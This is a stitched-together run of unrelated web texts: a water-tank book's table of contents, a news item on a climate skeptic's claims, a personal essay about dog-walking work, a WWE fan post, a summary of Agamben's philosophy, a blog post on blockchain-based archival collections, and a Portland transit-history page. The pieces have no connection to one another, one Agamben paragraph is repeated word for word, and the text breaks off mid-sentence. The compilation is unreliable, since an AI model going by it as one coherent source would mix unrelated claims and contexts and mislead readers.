Pond Maintenance  Store Water in Open Tanks, Swimming Pools  Store Water in Tanks Chapter 3: Water Tank Design Tank Components Overview  Situating Water Tanks  Elevation • Stability of Soil and Slope • Aesthetics, Sacred Spots • Security • Buried Storage  Sizing Water Tanks  Sizing a Tank For Demand Peaks which Exceed Flow • Sizing a Tank When You Have Limited Water Supply with Scheduled Use • Sizing a Tank to Cover Use During Interruptions in Supply • Sizing a Tank When Production Is Intermittent • Sizing a Tank for Firefighting • Size and Structural Integrity  Tank Shape  Tank Materials  Materials Situations to Avoid • Glass • Ferrocement • Galvanized Steel • Stainless Steel • Porcelain-Bonded Carbon Steel • Brass • Copper • Aluminum • Rock and Mortar • Concrete • Brick • Clay • Wood • Plastic • High Density Polyethylene (HDPE #2) • Ethylene Propylene Diene Monomer (EPDM) • Fiberglass (Glass Fiber-Reinforced Polyester, GRP) • Epoxy-Coated Steel or Concrete • Masonry in and over Plastic • Galvanized Steel with Plastic Membrane • Interior Membranes for Repair • Plastic Bladders • Goat Bladders, Leather, etc.  Tank Footings and Floors  Tank Roofs  Water-Harvesting Roof  Tank Costs  Really Cheap Storage  Regulatory Requirements  Zoning • Architectural Guidelines • Building Department • Fire Department • Health Department  Hazards of Stored Water & How to Avoid Them  Drowning • Structural Collapse • Flooding • Pestilence • Toxic Contamination • Liability Exposure  Water Tanks for Special Applications  Pressure Tanks • Break Pressure Tanks • Hot Water Storage • Tanks for Transporting Water Chapter 4: Common Features of Water Tanks Inlet  Outlet  Service Access  Drain  Tanks with No Drain • Drain Location and Orientation  Overflow  Critter-Proofing  Air Vent  Sunscreen and Shade Chapter 5: Optional Water Tank Features Inlet Meter, Filter, Gauges  Inlet Float Valve  Inlet Combined with Outlet  Inlet Aerator  Inlet Diffuser to Improve Settling  Outlet Screen or Filter  Variable Height Outlet  Outlet Float  Water Hammer Air Cushion  Level Indicators  Ozonators  Drain Extension or Baffle  Outlet and Overflow Curves  Pump Controls, Alarms, and Switches  Sand Filter  Multiple Tank Management  Freeze Protection Chapter 6: Emergency Storage How Much Emergency Water Do You Need?  Emergency Storage You Already Have  Long-Term Storage in Small Containers  Protecting Stored Water  Systems for Firefighting Chapter 7: Examples of Storage Systems for Different Contexts Poor Surface Water Quality, Limited Groundwater  Only Stored Water in Dry Season, Hydroelectric in Wet Season  Creek Direct with Remote Storage and Sand Filtration  Very, Very Low Pressure  Simple Jungle Eden  Rural House with Well  Urban Apartment  Swank Suburban House Appendix A: Measurements and Conversions Appendix B: Tank Loads and Structural Considerations Appendix C: More About Plastics Appendix D: How to Make Ferrocement Tanks Ultra-Light Ferrocement over a Form: Jumbo Thai Jar Plans  Ultra-Light-Duty Ferrocement Description  Light-Duty Ferrocement Plans  Medium-Duty Shaped Ferrocement Photos  Heavy-Duty Ferrocement Plans  Tools • Materials • Labor • Design • Site Prep • Grade for the Floor • Drain • Floor and Inside Wall: Welded Wire Mesh • Floor and Wall: Rebar • Inlet, Outlet, and Overflow Hardware • Wall Outer Welded Wire Mesh, First Layer of Lath and Hardware Cloth • Lift the Whole Thing Up and Get Ready to Pour • Pour the Floor • The Roof, Cool Shapes, Ladder • Lath and Hardware Cloth • Plaster Prep: Roof Supports, Seal Door • Plaster the Whole Tank • Keep It Wet • Color and Seal It • Fill It Index  Sample Figures & Photos  Pond at the Institute for Solar Living  Ferrocement water tank shaped like a boulder  Common features of water tanks  Aquifer, Well, and Spring Types  Drain Option Construction Details Low tech drain and outlet for mortared stone water tank  Retrofit of a plastic tank with a sloped floor, sump, and dedicated drain  Multiple tank plumbing options Tank floor options Tank floor options (PDF 5mb, updated in 2007 printing) Fire safety Water for fire safety (PDF 0.5mb, updated in 2009 printing)
-Meteorologist and Weather Channel co-founder John Coleman joined Fox News' Megyn Kelly Monday night to discuss the trials and tribulations facing one of the nation's most persecuted minority groups: climate skeptics.  "Thank you for having me on your program," said Coleman. "A climate skeptic can rarely get on TV ever since Al Gore made it a plank of the Democratic Party ... it's a tough go for people who don't believe in climate change."  Coleman stunned many global warming supporters in October with an open letter he penned claiming that the science behind climate change was "not valid."  “There is no significant man-made global warming at this time," he wrote.  Kelly pointed to several Republicans, like Jon Huntsman Jr., who have argued that those who don't believe in global warming are "nuts."  In response, Coleman blamed the media for spreading inaccuracies.
-I placed an ad on a popular classifieds Web site under the title “Jack of All Trades, Master of None.” The ad offered to clean, go to the laundromat, organize your bullshit, walk your dog. This was in the personals section, specifically for men seeking men. I was twenty-five but easily passed for younger—my scrawny frame underdeveloped, my cheeks still hairless—so I advertised nineteen. I remember it was autumn, and I remember feeling plagued by an unbearable need for both intimacy and estrangement, for the queerness of touch. Mostly, I placed that ad because I was broke and had been for just about every day of my adult life.  I got a lot of responses, enough to waste the afternoon, idly mesmerized by my cascading in-box. Most simply demanded pics, in all caps: WHY NO PICS? One respondent stood out; his tone was restrained, easy. He required someone to run errands and walk his dog. I feel like I get you, he wrote. He was silver-haired, white, early fifties, well preserved—that one guy from “Mad Men” comes to mind now. A wealthy narcissist; it wasn’t that he got me so much as that there was no one he didn’t feel he had.  Here’s what I remember of the dog: she spent all day in a crate, even though Mad Man worked from home. She was untrained, destructive. At the sound of my entrance, she freaked, and then at the sight of me she freaked harder, paddling her front paws furiously against the mesh metal door, which made the unlocking only more difficult and extended her agony. She never barked, because she couldn’t, she had been bred not to bark, but barks lived inside her, I read them in her face, in the way she opened her mouth and pulsed her vocal cords. A light reddish-brown, achingly handsome—she looked healthy, expensive. A basenji. I remember her black eyes, deceptively kind and questioning, and how the skin of her forehead wrinkled to a peak in the middle as she pulled her brows down at the sides. At home, this was her most constant look, one of silent imploring, but when we were alone together a shadow would pass, and her features would harden into rage. She often tried to bite me.  At first, I was appalled at her over-crating, and unsurprised at her neuroses, but after some weeks my compassion waned. One day, Mad Man sent me around the corner with six hundred dollars in cash to buy a leather jacket. For the dog. He lived in the West Village, so the request was neither improbable nor impossible. My rent was four-fifty. I had a bed in a living room in an unhip part of Brooklyn—not the entire room to myself, mind, but a bed stuck in a corner of the communal living room, behind a screen. I walked to that doggy clothier in a fury that transferred from Mad Man to the dog herself. I found myself fantasizing about somehow destroying the dog and walking away with the cash. I ought to have felt solidarity, stuck as we were at the bottom, Mad Man master to us both. Instead, I felt jealous of her tiny perfect jacket.  I quit and considered getting a legit job. I remember sitting at the kitchen table with my laptop as my friends joked that I should put down on my résumé, under past work, “Being a little bitch.” All the sunlight came through the kitchen, so we packed around the table, some up on the counter, drinking shit wine. My friends, these tough women and queers, were all too sharp and creative for their jobs. It seemed as though all the people I had ever known, everyone I was coming up with then, were somehow bending their will to a Mad Man, for the money. We packed into that kitchen to help one another get through the bends—with dark humor, with shouted advice. We bitched about everything. The trick was not to fall into shame, or, worse, quietude. If I’m nostalgic, it’s not because I was happy in those precarious years but because I was deeply moved by our resourcefulness. No rich parents lurked in the background; we kept one another afloat. We drank ourselves messy, and when one spiralled downward the rest chased after, to help, to mock and make light, to tease that person back to the surface. Always, we waited for money to appear, as if it might pour in on a beam of sunshine. We waited, and, in our waiting, we were loud.  My hunch is that Mad Man gave the dog up. Either that or he finally broke her. Anyway, she’s old now, or else she’s dead. But I have this fantasy that she’s still chewing up the living room, still slamming against the limits of that cage, only now she’s vocalized, yapping and howling, and it’s a kind of music, and the whole neighborhood can hear her frustration, and understand. And the song is a lament, something camp and bluesy, about how there ain’t no shame in being a bitch, but, Lord, be a bitch that barks. ♦
-0 Shares  The WWE ran a live event in Sydney, Australia over the weekend. Seth Rollins was defeated at the event by Roman Reigns in the main event. After the match, Seth received an INCREDIBLE reaction from the fans. Seth looks amazed and takes in the moment by recording it. Below is the video from Seth’s official Facebook page.  Here is the video:  Awesome stuff. Here is the video Seth posted on his Instagram story:  Video from Seth’s Instagram story. The fan reaction at #WWESydney overwhelmed our man a bit ? #SethRollins #WWE pic.twitter.com/WT7xfRGKwO — Daily Ambrollins (@DailyAmbrollins) August 13, 2016  [irp posts=”14768″ name=”Chris Jericho and Seth Rollins Admit They Are Wankers” At WWE Melbourne (VIDEO)”]  Pretty cool moment. It is going to be incredible if the WWE ever turns him babyface.  Let us know if you attended the WWE Sydney Live Event! I would love to see a photo from fans perspectives that were up top waiting for him. Would be pretty great!
-I have just finished my second major study of the philosophy of Giorgio Agamben, Agamben and Indifference. As I think Agamben has been widely mis-read and my work benefits from the most recent books by Agamben which set the record straight, I though it would be worthwhile posting the basic definition of Agamben's work that makes up the first page and a half of that book. Here it is, in miniature, all you need to know about Agamben. I swear to it!  Introduction to Agamben's Philosophical Archaelogy  I will commence with an unambiguous statement summarising Agamben’s base position as I see it across the totality of all his published works. Agamben’s philosophical project is the making apparent and then rendering indifferent all structures of differential opposition that lie at the root, he believes, of every major Western concept-signature or discursive structure. In this manner his philosophy can be termed a form of metaphysical critique that argues all abstract concepts are only quasi-transcendental, in that they are historically contingent not logically necessary. As such Agamben willingly participates in a tradition that includes Nietzsche, Heidegger, Deleuze and Derrida, thinkers he regularly engages with. Where he differs from all of these is that he is not a philosopher of difference in any way we take this term to signify within the tradition to which I have just alluded. Arguably all his predecessors undermine philosophical structures of consistent identity through the valorisation of difference in some form.  If, he argues, identity structures are historically contingent, not logically necessary, then so too are differentiating structures, which can then further be said to be complicit in metaphysics, not a means of overcoming it. Rather than undermining identity with difference, therefore, Agamben reveals that identity and difference themselves are not necessary terms but historical contingencies, that in fact they form one single entity within our tradition, what I will call identity-difference, and based on these observations one can suspend their history of opposition by rendering them indifferent to each other. Agamben, however, insists that the difference is as much implicated in the system of metaphysics as that of identity.If, he argues, identity structures are historically contingent, not logically necessary, then so too are differentiating structures, which can then further be said to be complicit in metaphysics, not a means of overcoming it.Rather than undermining identity with difference, therefore, Agamben reveals that identity and difference themselves are not necessary terms but historical contingencies, that in fact they form one single entity within our tradition, what I will call identity-difference, and based on these observations one can suspend their history of opposition by rendering them indifferent to each other.  For Agamben self-identical full presence, what he calls the common, is a discursive entity not an actual state. Difference, what he calls the proper, is the same. Further, concepts are no longer to be taken as identity-concepts, ideational structures possessive of communal consistency around an agreed set of referents that can be held under the same conceptual heading, but identity-difference-concepts that have a historical moment of arising when they become active, a mode of distributing this activity to control large and stable discursive formations over time, such as language, such as power, such as poetry, such as glory, and an almost fated period of indifference where the clear definitions of the system either break down, or can aggressively be shown to be assailable contingencies. The method of tracing these moments for the purpose of suspending identity-difference constructs, what he calls signatures, is an overall methodology that Agamben names philosophical archaeology.
-Decentralized Autonomous Collections  Peter Van Garderen Blocked Unblock Follow Following Apr 11, 2016  A Decentralized Autonomous Collection is a set of digital information objects stored for ongoing re-use with the means and incentives for independent parties to participate in the contribution, presentation, and curation of the information objects outside the control of an exclusive custodian.  Decentralized Autonomous Collections (DAC) may be created by any individual or community based on any number of criteria including subject matter, newsworthy events, geographic region, media format, content provenance, business function, political objectives, etc..  While I am currently exploring its implications for the types of materials collected by traditional memory organizations like archives and libraries, the DAC concept extends equally to other centrally-controlled repositories of information used for memory, knowledge, and entertainment, e.g. YouTube, Flickr, Wikipedia, Internet Archive, etc..  Decentralized wha???  DACs adapts the concept of a Decentralized Autonomous Organization (DAO) to the management of sets of digital information objects. A DAO is a self-governing organization that is designed to operate according to a set of hard-coded business rules. Recent advances in blockchain technology has launched a number of new DAO initiatives (e.g. Slock.it).  At its core, blockchain technology consists of a distributed public database that leverages cryptography and peer-to-peer technology to group data into timestamped blocks and store these in an immutable chain of transactions. The public, distributed nature of this data store makes it nearly impossible to tamper with or revise the data and thereby removes the need to trust that a data-provider is reliably enforcing security protocols. The Bitcoin digital currency was the first and most well-known application built on a blockchain.  A second generation blockchain technology know as Ethereum added the ability to run Turing-complete software code on the peer-to-peer nodes that process its transaction blocks. These Ethereum “smart contracts” have provided the technical means to implement incorruptable DAO business rules on its distributed blockchain database. They also enable the exchange of cryptocurrency tokens to fund digital processes and real-world activities related to the management of the DAO.  The blockchain and the other technical components which make the DAC concept possible are each complex topics on their own. While I am working on proofs-of-concept for a few of the sub-components described in this article it is not intended to serve as a tutorial. Where applicable, I’ve merely provided some links for further study.  My intention here is to connect the dots between these components; to allow the Decentralized Automonous Collection idea to emerge in fuller relief. I see DACs as an eventual destination in the evolution of managing information collections which includes a number of vaguely defined stops along the way. I want to start by explaining why it may be worth the effort to try and get there.  The Case for Decentralized Autonomous Collections  I work in the field of digital archives, electronic recordkeeping, and library technology. I am the original developer of the open-source AccessToMemory (AtoM) and Archivematica software applications. These tools are widely used in archives, libraries and museums around the world. They are designed to preserve and provide access to collections of archival materials. Both AtoM and Archivematica are intended to be practical implementations of archives and library standards that have been codified to establish best practices for our profession.  Over the past couple of decades there has been plenty of post-modern contemplation in our field about the principles underlying these practices. In particular how it is misleading to consider the custodian as a purely objective servant to the collections under their care. These discussions have been mostly academic debates confined to our professional journals and conferences.  However, here in Canada, events related to our Truth and Reconciliation Committee (TRC) on the national tragedy of indigenous residential schools has led to renewed soul-searching amongst archival professionals about the implicit structures of authority perpetuated through institutionalized collections. The TRC’s legal battle with Library Archives Canada for access to critical documents is just one of several reasons behind indigenous scholars’ call to ‘decolonize archives’ and a corresponding debate on what that might entail.  To be clear, I am not sure whether Decentralized Autonomous Collections are an answer to the call to decolonize archives. I have not consulted any indigenous peoples and I am concious of my own bent towards techno-solutionism. Some of the technologies I discuss are still quite esoteric and complex to grasp even for technology professionals. Therefore, the only connection that exists right now is that this debate about ownership and access to archival collections fuelled and connected a number of existing ideas in my mind which led me to crystalize the concept I discuss here.  That process coincided with reading a recent presentation by Mark Matienzo, the Director of Technology for the Digital Public Library of America. Matienzo reflected on how marginalized communities are further alienated by the metadata systems and technologies of “repositories of authoritative knowledge.” He raises questions about how subjects and objects are named and thereby how meaning and value judgements are controlled and perpetuated. He also raises related concerns about how “the corporatization of library infrastructure” plays a role in this dynamic.  Therefore, in spite of often good intentions, the materials that have been collected by memory organizations, how these are contextualized, and the rules that govern how they are accessed have been coloured by societal and institutional privilige, professional tradition and inertia, and a lack of genuine community engagement.  These biases are baked into our institutional appraisal and acquisition policies, metadata standards, information technology, and access rights and methods. Princeton archivist Jared Drake goes as far as to include the underlying archival principle of provenance in this list and argues that it is a remnant “of a colonized mode of thinking about the world through the gaze of great white men, whose complexities and contradictions previously could only be explored in the archives by similarly complicated and great white men.”  Until recently, I believed that becoming self-aware of these biases was the end-goal. That this would create more progressive information professionals and better ‘best’ practices in centralized collections such as those exemplified by the National Library of Australia’s Trove portal. It contains over 470 million records and is the largest, freely accessible collection of Australian history and culture ever assembled. Trove was developed under a principle of radical openness. It allows users to freely create and share tags and virtual collection lists. That is to say, it allows them to build and share their own context. Trove also provides APIs for developers to re-use its content in their independent applications.  However, even exemplary collections like Trove are subject to economics and the political whims of their owners. In this case, a conservative Australian government that slashed funding and suggested looking for private donors to maintain the collection. As Hugh Rundle points out in his assessment of the Trove situation, “neoliberal market fetishisation with a dash of authoritarianism is the ideology of our times.”  Rundle cites the previous Canadian government’s introduction of a code of conduct for Libraries Archives Canada employees in 2013. It “outlined a ‘duty of loyalty’ to the ‘duly elected government’ and included restrictions on involvement with any activity that might be construed as criticism of Canada’s leadership.” Rundle also points to the example of the British Library rejecting a rich collection of Taliban materials because providing access to it for research purposes might have been deemed to contravene the U.K. Terrorism Act.  Meanwhile, Europe’s largest regional library in Birmingham U.K. is asking the public to donate their own books to fill its brand new £189 building after drastic cuts in local government funding have eliminated collection management funds. Hundreds of other public libraries across the U.K. have been closed or forced to switch to operate entirely with volunteer staff.  // ominous update the day after this article was posted:  Archivists and librarians working in the field of digital preservation will shudder at reports like this. They are painfully aware that the biggest threat to long-term access to digital information objects is not the formidable challenge of technology obsolescence but rather neglect caused by a lack of funding to maintain systems and active curation practices. Appropriately, organizational viability and financial sustainability makes up one third of the Trustworthy Repositories Audit & Certification checklist, the international best practice for deploying digital collections that aim to ensure long-term accessibility.  Another trend that may become an issue in the near future is that most digital archive solutions implemented today are designed to run on commercial cloud solutions. In the past six months I’ve seen Requests for Proposals from major Canadian federal, provincial and municipal institutions, each of which explicitely calls for deployment of the proposed digital archive systems in externally hosted data centers. Behind this requirement are a number of valid economic and technical reasons. These same reasons will ensure that solutions built on the dominant commercial cloud solutions will win these bids. Extrapolating this trend forward and across borders I fear that in the near future most of the world’s digital heritage will be centralized on Amazon, Azure, and Rackspace data centres thereby linking its fate to that of a very short list of service providers.  The situations I have highlighted above are from relatively prosperous countries with democratic traditions. I haven’t even mentioned totalitarian governments, impoverished societies, or the significant list of privacy and long-term access concerns related to information collections owned by private corporations like Facebook and Google. Of course, the spectre of intelligence agency snooping, made easy by the reliance on centralized web servers, also casts a long shadow in the post-Snowden era.  Nevertheless, raising concerns about the privacy, impartiality, or viability of institutionalized information collections is typically dismissed as an academic argument. It is a commonly held belief that centralized organizations, whether public institutions or private corporations, are simply necessary to achieve economies of scale, ensure authenticity and integrity, and to support the environment required to nurture the specialization and expertise required for long-term preservation and elegant access to large-scale collections of information resources.  However, I believe that the emergence of blockchain technology and the concept of Decentralized Autonomous Organizations, alongside the maturation of peer-to-peer networks, open library technology architectures, and open-source software practices offers a new approach to the issues of control, privilege, and sustainability that are inherent to many centralized information collections.  So you want to replace libraries and archives?  In exploring this concept of Decentralized Autonomous Collections it is not my intention to work against memory organizations or their continued funding and self-improvement. In fact, it is my sincere hope that progressive institutions will explore and pilot this concept as one way to address the many challenges they face. While decentralized systems are characterized by distributed nodes with equal technical functionality, these systems and networks still require ‘thought leaders’ and project managers to inspire and direct activities. These are roles that could and should be sponsored by progressive memory organizations that see Decentralized Autonomous Collections as another, possibly even better, way to fulfill their mandates.  The issues raised above are meant as an argument for exploring alternative ways to organize information collections. While I would expect grassroots, flat-hierarchy organizations such as those exemplified by the Occupy movement or People’s Archives projects to be the first to pilot these concepts, I hope that traditional memory institutions will follow suit as a way to explore new sustainability and scalability models. The concept of Decentralized Autonomous Collections could serve as a hedge against a number of risks or practices inherent in a centralized model that may work against the shared objectives of most information collection custodians. That is, the mission to provide unrestricted free and open access, in perpetuity, to collections of information that serve all individuals and communities equally in their pursuit of identity, entertainment, knowledge or truth.  What makes a collection decentralized?  At the core of the Decentralized Autonomous Collection concept is the ‘permissionless’ availability of information objects on peer-to-peer storage. Probably the most common example of this type of functionality is the BitTorrent protocol, network, and client software. It is permissionless because anyone can freely download and fire up a client and begin downloading and distributing information objects on the network. You don’t need to register an account or be vetted by a central gatekeeper. There is no central host that controls access to the collection. Each peer has equal access to the content and it is not possible to take down the network by disabling a central server or URL.  In addition to BitTorrent, there are some interesting peer-to-peer storage networks currently being prototyped in the blockchain domain which may provide a sound and sustainable DAC storage layer. These include IPFS, Storj, and MaidSafe. Some key features that might determine the most suitable DAC storage platform include whether it is bundled with a crypto-token incentive scheme, end-to-end encryption, and the ability to delete a file from the collection. These may end up being the distinguishing criteria between the permanent, distributed web concept where all content on the network is intentionally published for free and forever versus information collections whose contributers are primarily looking for storage solutions and the ability to share information with a restricted audience or under specific usage terms.  By aggregating objects from peer-to-peer storage networks, an unlimited number of ‘virtual’ collections can be made available through traditional HTTP access clients and portals. These portals can add value by curating and presenting the content generically or in culturally-sensitive ways to specific designated communities using new, custom apps or existing web content management tools like Wordpress, Omeka, Mukurtu, or Neocities. These are examples of relatively user-friendly applications that allow non-professionals to present the content and context of their information collections in a way that is appropriate to their intended audience and sensitive to community needs.  The metadata that these portals and its users create are valuable information objects in and of themselves and form another key component in the architecture of a Decentralized Autonomous Collection. This includes descriptions of information objects, their context of creation and use, their interpreted meaning and value, technical information required for curation, and tags and taxonomies that aid in their discovery. Depending on the DAC’s design principles, this metadata may conform to professional standards, conventions agreed upon within a designated community, and/or free form formats that reflect the needs, viewpoints, and backgrounds of individual contributors.  This metadata is stored as first-class objects on the peer-to-peer network using NoSQL key-value pairs or, better yet, Linked Data triples. These types of serializations allow for system independence and flexible re-use of the metadata over time and across different access portal implementations. The tools and practices that support this approach (e.g. W3C’s JSON-LD) are finally achieving maturation within the web development and library technology community.  The metatadata and content stored on the peer-to-peer networks are mediated through middleware APIs providing DAC micro-services that may include RESTful hypermedia content access, search index caches for the metadata and full-text stored on distributed nodes, and conversion of metadata triples to the data serializations used by popular content management tools (e.g. CSV, SQL).  Perhaps the best working example that brings together some of the technical components described above is the API used by the Public Media Platform. A key component of this API is the Collection.doc+JSON media type which provides a standardized way to group otherwise disparate online resources into a coherent collection. Other good examples include the APIs provided by the Digital Public Library of America and the National Archives of Austrialia’s Trove portal.  In the DAC model there is not an exclusive API owner or gatekeeper to the shared content as in the above examples. If the provider of one API to a DAC is not willing to grant a key to a developer that wants to build an app or portal on top of that API, the developer would still have access to the information in peer-to-peer storage and could chose to harvest the content directly for their portal or develop and deploy their own API.  The absence of an exclusive custodian places additional burden on the proof of authenticity for information objects stored in a DAC. This requirement would be met in a DAC through the registration of cryptographic hashes of information objects and their provenance metadata (expressed in machine-readable W3C PROV) on a blockchain database using functionality such as that provided by ProofOfExistence.com. Mediachain is a good example of a project that is working on a protocol and supporting tools that deliver this functionality for image media.  Lastly, going one level of abstraction deeper, the portal software apps and API middleware code could also be stored on the peer-to-peer storage layer using a full-clone software versioning system like Git. This would allow for the repurposing of collection management tools by other communities or the re-launching of portals that were taken offline due to technical failure, financial constraints, or political attacks.  Does “permissionless” mean “without rights”?  While permissionless participation in the distributed network is a fundamental design principle for a DAC, this does not mean users should necessarily have permission to do whatever they want with the information objects in a Decentralized Autonomous Collection. The degree of enforcement of the rights of information creators and sharers would likely vary from collection to collection.  On one extreme there would be fully unregulated and open access like we see on the BitTorrent network. This will be fine for information collections that are intended to be fully open by default (e.g. Wikipedia or Wikileaks). On the other end of the spectrum there could be highly sensitive collections, e.g. medical records, that require the strictest privacy and security protocols.  If users can be confident that the underlying technology is incorruptible and can reliably regulate under what conditions access is granted, then perhaps a mature DAC solution would eventually be considered to be more trustworthy than a sole service provider precisely because there isn’t a designated gatekeeper or snooping agent who has the ability to abuse that centralized power.  To express what usage is permitted for information objects in its collection, a DAC could employ Creative Commons licenses and the machine-readable rights statements developed by the Europeana portal and the Digital Public Library of America. To enforce those rights there are a number of existing digital rights management techniques. Of course, these tend to have a fairly poor reputation amongst information consumers for a variety of reasons. Therefore, there are a number of projects that are exploring how blockchain smart contracts can be used to decentralize traditional DRM techniques. The objective is to place more flexible control in the hands of content creators and consumers rather than information publishing middlemen that seek to enforce content channel monopolies at their expense.  In its simplest form, a decentralized rights management architecture might store information objects in encrypted format and use smart contracts to provide private keys to unlock that content when certain criteria are met, e.g. a micropayment is made to the smart contract. This is where some recent blockchain innovation in the music industry shows a promising way forward. A good example is the UJO Music project which is exploring these techniques through the Dot Blockchain concept. Lbry.io is a similar project that has developed its own peer-to-peer and blockchain protocol which includes the ability to pay storage providers, blockchain miners, and content contributors.  What makes a collection “autonomous”?  While the technical components may now exist to deploy a decentralized collection, it still requires intentional coordination to implement it in a coherent fashion. There could be a variety of reasons for why a group of people might decide to organize themselves and systems outside the mandate of a centralized organization in order to preserve some information for future access. As discussed further above, these may include concerns about privilege and control along with dissatisfaction about the way existing information collections are being presented and curated by exclusive custodians. In this context the term ‘autonomous’ refers to the ability to act independently, in a self-contained way, outside of external controls.  The values and principles which influence a Decentralized Autonomous Collection’s content, functionality, accessibility, and its rate of adoption can be encoded as business rules by its initial implementers and updated by its subsequent participants using smart contracts deployed on blockchain technology. Smart contracts monitor the state of certain pre-programed conditions and when these are verified to be true they execute processes such as the release of cryptocurency funds to a designated online wallet or delivering a private key to unlock a digital file. Decentralized autonomous organizations such as Slock.it are providing compelling models for this type ‘rule of code’ replacing the ‘rule of law.’  Stakeholders in an autonomous organization are given the opportunity to vote on proposals that address how its shared assets are managed. Votes can be distributed per unique participant or weighted according to the stake that the participant has in the collective enterprise. This stake could be based on the reputation ranking of the individual as calculated by criteria such as total number of ‘Likes,’ ‘Upvotes,’ ‘Recommendations,’ ‘Tips,’ etc.. It could also be based on the amount of tokens held by the participant in the cryptocurrency denomination chosen by the DAC implementers. These might leverage existing cryptocurrencies like Bitcoin and Ether or they may choose to issue tokens specific to the DAC domain.  These tokens will serve as a type of collection management fuel that enable decision-making and incentivize service providers to complete tasks that benefit the maintenance and quality of the DAC. The maturity of online cryptocurrency exchanges ensure that these tokens hold real-world purchasing power beyond the DAC domain.  The initial balance of tokens could be fiat funds converted from traditional endowments or granting agencies that support the mission of the DAC. It could also be generated through a cryptocurrency crowdfunding campaign to launch or support the activities of a particular DAC. Other sources of DAC revenue could include micropayment fees for the use of its content, APIs, portals, and/or storage nodes.  The DAC business model can be hard-coded as smart contracts. These would also manage the reserve of tokens that are held as future payment for expenses such as API server hosting or storage. When deemed necessary, the DAC participants would vote on proposals to distribute tokens held in reserve to service providers such as content creators and contributors, collection curators, software developers, or system administrators. These might perform services such as adding new features to the DAC APIs and portals, implementing system architecture upgrades, migrating legacy content and metadata, metadata enhancement and clean-up, creating new online exhibits in one of the DAC’s access portals, or uploading content that accounts for a top percentage of downloads.  Of course, DACs would likely still depend on a significant amount of volunteer labour such as that already provided by museum interpreters, Wikipedia authors, open-source software contributors, YouTube videographers, etc.. However, these invididuals may be extra-motivated to participate in a given DAC if their work is rewarded with cryptocurrency tokens and/or reputation points when their contributions reach a given threshold, the rules of which are described and executed transparently through a public smart contract.  Sounds like a pipe dream  Admittedly the nuts-and-bolts of blockchain-based Decentralized Autonomous Organizations, such as voting mechanisms and service provider contract fulfillment, are still in a trial stage. The blockchain community is eagerly watching the progress of early implementers. I am also aware that there are many external forces and well-entrenched memory institution traditions that are working counter to the vision of the Decentralized Autonomous Collection concept as I have described it here.  Nevertheless, I am researching and developing components in this architecture that may contribute pieces to this larger whole. Therefore, I did want to get a bunch of these synergistic ideas out of my head and to sketch out a rough map, however flawed or incomplete, that I could share with others and use as my own guidepost. At least it now exists as a hypothetical destination in the evolution of managing information collections. Hopefully the right combination of optimistic idealism, cynical reactionism, and opportunistic risk-taking will inspire further collaboration and complimentary ideas on this path.
-Times change, and so has the Portland region. From early days of railroads and muddy main streets, to today's bustling system of roads, transit, bikeways and sidewalks, how we move around continues to shape the places we live in profound ways. These historical snapshots and interactive sliders offer a glimpse of just some of the changes in Southwest Corridor communities.  South Portland/Marquam Hill  Marquam Hill in 1920, just three years after the University of Oregon Medical School (better known today as OHSU) opened its campus. Photo courtesy of City of Portland Archives.  In 1933, the Fourth Avenue Extension project linked downtown to the brand-new Barbur Boulevard, opening up Southwest Portland in new ways.  Completing Barbur Boulevard required enormous amounts of fill to create a smoothly graded road. Here, a view near SW Condor Ave. Photo courtesy of Portland City Archives. (Note: Caption corrected.)  Another view of the Fourth Avenue Extension Project in 1933. After the construction of Interstate 405 and 1960s urban renewal, almost no building seen in the foreground still exists. Photo courtesy of Portland City Archives.  The intersection of Barbur and Terwilliger Boulevard, seen 1947, as development in the Burlingame area was about to pick up steam. Photo courtesy of Portland City Archives.  A familiar-looking stretch of Barbur in the Burlingame neighborhood, seen here in 1961. Photo courtesy of Portland City Archives.  Crossing Barbur today in the Burlingame neighborhood.  Some of the businesses have stayed the same, but today's Barbur Boulevard is depended upon by a wider variety of users.  In South Portland, Naito Parkway retains a lot of the look of a highway, reminiscent of its erstwhile role as the southern anchor of the riverfront Harbor Drive freeway.  It is hard to know where best to begin listing the many changes that have occurred to this slice of Southwest Portland at the foot of Marquam Hill. It might be the proliferation of new buildings on Oregon Health and Science University's hilltop campus as it became one of the region’s largest centers of education and employment. However, the more recent, high-density development of the South Waterfront gives just as good of an indicator of how much has changed over the years. Or perhaps it’s the startling change in Ross Island, seen here in the lower right in 1950 being used as a mooring for Benson rafts of timber on their way to the coast. Down in the corner of the island, almost out of the frame, can be seen a small inlet which would eventually become the lagoon seen today, a legacy of sand and gravel riverbed mining that halted in 2001.  Southwest Portland (Burlingame)  A few short years after this 1950 aerial was taken, construction on Interstate 5 would cut a block-wide swath alongside Highway 99W, adding to the division between the neighborhoods of Hillsdale, Corbett/Lair Hill, Multnomah and Burlingame. Soon after, in 1956, the cleared land near the top of the frame, a former dairy, became home to Wilson High School. Over the decades, what empty land remained filled in with housing, and farm plots gave way to parks and baseball diamonds as families flocked to these new, scenic hillside neighborhoods.  Tigard  Tigard's Main Street as seen in the late 19th century. Photo courtesy of the Tigard Public Library and Tigard Historical Association.  An Oregon Electric Railway Depot in downtown Tigard, seen here in the early 1900s. Photo courtesy of the Tigard Public Library and the Tigard Historical Association.  Tigard's Main Street in the early heyday of the automobile, sometime in the 1940s. Photo courtesy of the Tigard Public Library and Tigard Historical Association.  Starting in the 1950s, new demands for faster commutes led to the realignment of Highway 99W to bypass downtown Tigard. Photo courtesy of the Tigard Public Library and Tigard Historical Association.  The Tigard Triangle was formed after the construction of I-5 and Highway 217. Although it retains a semi-rural air in some areas, it's likely to see a lot of growth in the coming years. The old house at the intersection was recently demolished.  Present-day downtown Tigard, Main Street.  Tigard was once a small town at the crossing of a railroad and a highway, a patchwork of homes, businesses and farms not too far – and not too close – to the city. Many residents still call it a small town, but most everything else has changed. With the construction of I-5 and Highway 217 (seen forming a ‘V’ in the center of the frame) the Tigard Triangle was formed, adding a hub of business and freight movement to the area. In 1968, Portland Community College’s Sylvania campus, seen in the upper right corner, opened its doors; today it serves over 26,000 students annually – about half the size of Tigard’s population.  Tualatin  Railroad Avenue in Tualatin, in the early 1900s, now part of Boones Ferry Road. Photo courtesy of the Washington County Museum.  "Residence Street", somewhere in Tualatin, seen here in the early 1900s. Photo courtesy of the Washington County Museum.  Downtown Tualatin in the 1940s. Photo courtesy of the Washington County Museum.  Tualatin seen from the air in 1947. Only a handful of the buildings seen here still exist. Large commercial developments now fill much of the view, along with a man-made lake. Photo courtesy of the Washington County Museum.  Today, at the intersection of Boones Ferry Road and Martinazzi Avenue in downtown Tualatin.  Modern downtown Tualatin, centered around Tualatin Commons.  The 